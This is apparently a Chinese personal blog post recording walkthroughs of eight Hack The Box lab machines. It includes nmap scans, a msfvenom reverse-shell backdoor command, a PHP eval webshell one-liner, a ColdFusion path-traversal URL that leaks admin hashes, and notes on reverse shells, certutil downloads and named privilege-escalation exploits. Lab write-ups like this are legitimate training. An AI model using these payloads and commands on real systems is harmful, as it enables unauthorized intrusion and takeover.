白袍的小行星

Hack The Box 通关记录1

字数统计: 1.5k阅读时长: 6 min
2020/06/23 Share

重新拾起了HTB的账号,开了个会员,从头练级!

现在会员可以使用pwnbox,就是在他们假设的一个parrot os,可以ssh连上去干,很方便,就是时长太短,一个月才给24小时,得省着用。

Legacy

最简单的一题,扫端口发现只有139和445:

Nmap scan report for 10.10.10.4
Host is up (0.076s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
3389/tcp closed ms-wbt-server

再看了下日期,发现是永恒之蓝曝光的后一天,心想这动作太快了吧,就用17010打了一发,结果不行。

XP的系统,就试了下ms08067,因为自己IP没搞清楚浪费了点时间,但还是打下来了。

Devel

扫描端口发现了21和80,先curl了一下80,发现是个IIS7的服务默认起始页面。

看来突破口在21了,使用Anonymous和空密码登录ftp,看到这就是IIS的Web目录,本来我想传个asp的一句话,但是尴尬地发现自己找不到命令行下可以连接asp的Webshell管理工具,所以转向msf.

msfvenom生成回连的aspx后门:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx > 1.aspx

put上传后然后再curl一下:

curl http://10.10.10.5/1.aspx

getuid发现回来的权限是IIS的权限,需要提权。

因为默认的C:\\windows\system32\inetsrv没有写入权限,所以先找个能写入的,免得exp要释放文件结果失败。

我在Klion的这篇博客里找了一下,最后用的MS14-058,成功提权。

写到这里已经半夜十二点多了,原本不需要这么久,就是因为网络老是断,SESSION刚生成不久就掉了,又得重新操作一遍,看来用pwnbox也不是十全十美啊。

Optimum

这次我直接在本地的Parrot里连VPN做题,还挺稳定,看来pwnbox只适合没有自己顺手环境的情况。

扫端口只有一个80,访问发现是个HFS,一种类似于FTP的文件管理系统。

搜索CVE发现有个RCE,直接在msf里利用,弹回来一个普通用户权限的shell.

systeminfo得到补丁列表,在这里查了一下。

本来试着用土豆,但是不成功,提示User does not have SeImpersonate or SeAssignPrimaryToken Privilege,利用MS16-034提权成功。

Bastard

扫描端口结果:

Nmap scan report for 10.10.10.9
Host is up (0.20s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

访问80,发现是Drupal,记得这个有RCE,一查果然有,CVE-2018-7600.

利用此rb脚本,写入一个一句话,蚁剑连接。

在写一句话的时候,要注意直接echo <?php ?> > 1.php这种是不行的,会在payload两边写入双引号,无法正常使用,所以可以这样写:

# 用^转义<>
echo ^<?php @eval($_POST['a']) ?^> > shell.php

拿到shell,权限是nt authority\iusr,前几天也遇到过。

试了几个提权exp,MS18-8120利用成功,得到SYSTEM

Arctic

Nmap scan report for 10.10.10.11
Host is up (0.19s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open fmtp?
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

135先不管,看了下8500,发现有个目录遍历:

点进去看到是Cold Fusion,用一个目录穿越的CVE获得管理员哈希:

/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

解密得到密码为happyday,登录后台。

在此处得到物理路径:

定时任务里:

URL是自己本机的地址,放上了webshell,File就是shell应该上传到的路径。

本地可以利用python快速搭建Web服务器:

python -m SimpleHTTPServer 80

最后nc监听对应端口,再访问shell地址即可收到回连shell.

权限为arctic\tolis,其实就是普通用户。

certutil.exe下载个meterpreter的shell执行,方便提权。

还是使用MS18-8120,真好使,直接到SYSTEM.

Grandpa

端口只有个80,IIS 6,访问是个默认页面,看来是直接用CVE打了。

CVE-2017-7269获得一个shell,发现是最小的nt authority\network service权限,靠。

因为这会是个RCE拿到的shell,功能有点不全,干脆生成一个后门然后用这个shell执行。

本来想用土豆来提权,试了几次发现不行,最后发现是系统比较老,应该是XP,就用ms10-015成功提权了。

另外还有一个Granny,做法类似,只不过换成了一个IIS 6的任意文件上传,然后提权需要用土豆,不单独写了。

Bounty

这个靶机我看了看官方wp,因为一开始找不到什么思路。

端口只开放了80,是个IIS 7,存在短文件名枚举漏洞。

使用msf里自带的扫描模块iis_shortname_scanner,扫到一个上传目录和一个上传点。

这里有个坑点,IIS短文件名只能爆破出前六位,后面的就自己想招吧。

一般是从字典里提取出前六位符合的,然后再爆破。

上传点做了限制,只能上传一个.config后缀的,这很明显就是提示了,上传一个web.config,里面加个asp马,蚁剑成功连接。

没多久我的马就404了,应该不是因为杀软,估计每隔一段时间就定时清除一下上传目录,本来想直接再在其他web目录传个asp,结果发现不可写,草。

没办法,通过powershell弹了个nc,再certutil下载一个msf的shell执行,这一步费了我好久的时间。

拿到这个就很简单了,无补丁的2008,直接上土豆,成功提权。

Jerry

名字其实也算是提示吧,8080有个tomcat,扫描到一个默认密码tomcat/s3cret.

登录后台上传war包获取shell,很熟练,一看权限是SYSTEM,连提权都省了。

CATALOG
  1. 1. Legacy
  2. 2. Devel
  3. 3. Optimum
  4. 4. Bastard
  5. 5. Arctic
  6. 6. Grandpa
  7. 7. Bounty
  8. 8. Jerry